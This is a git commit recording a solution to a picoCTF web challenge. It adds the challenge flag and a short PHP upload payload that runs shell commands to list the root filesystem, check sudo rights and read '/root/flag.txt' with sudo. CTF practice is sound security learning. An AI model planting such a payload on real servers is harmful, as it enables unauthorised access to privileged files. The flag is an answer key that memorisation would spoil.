web/n0s4n1ty_1

This commit is contained in:
2026-07-03 13:59:34 +09:00
parent 3ba4ddb7e9
commit 68cba64e99
2 changed files with 18 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
picoCTF{wh47_c4n_u_d0_wPHP_5fd11be6}
+17
View File
@@ -0,0 +1,17 @@
<?php
echo "'/' listing:<br/>";
echo nl2br(system('ls -lah /'));
echo "<br/><br/>";
echo "sudo rights:<br/>";
echo nl2br(system('sudo -l'));
echo "<br/><br/>";
echo "'/root' listing:<br/>";
echo nl2br(system('sudo ls -lah /root'));
echo "<br/><br/>";
echo "'/root/flag.txt' contents:<br/>";
echo nl2br(system('sudo cat /root/flag.txt'));
echo "<br/><br/>";
?>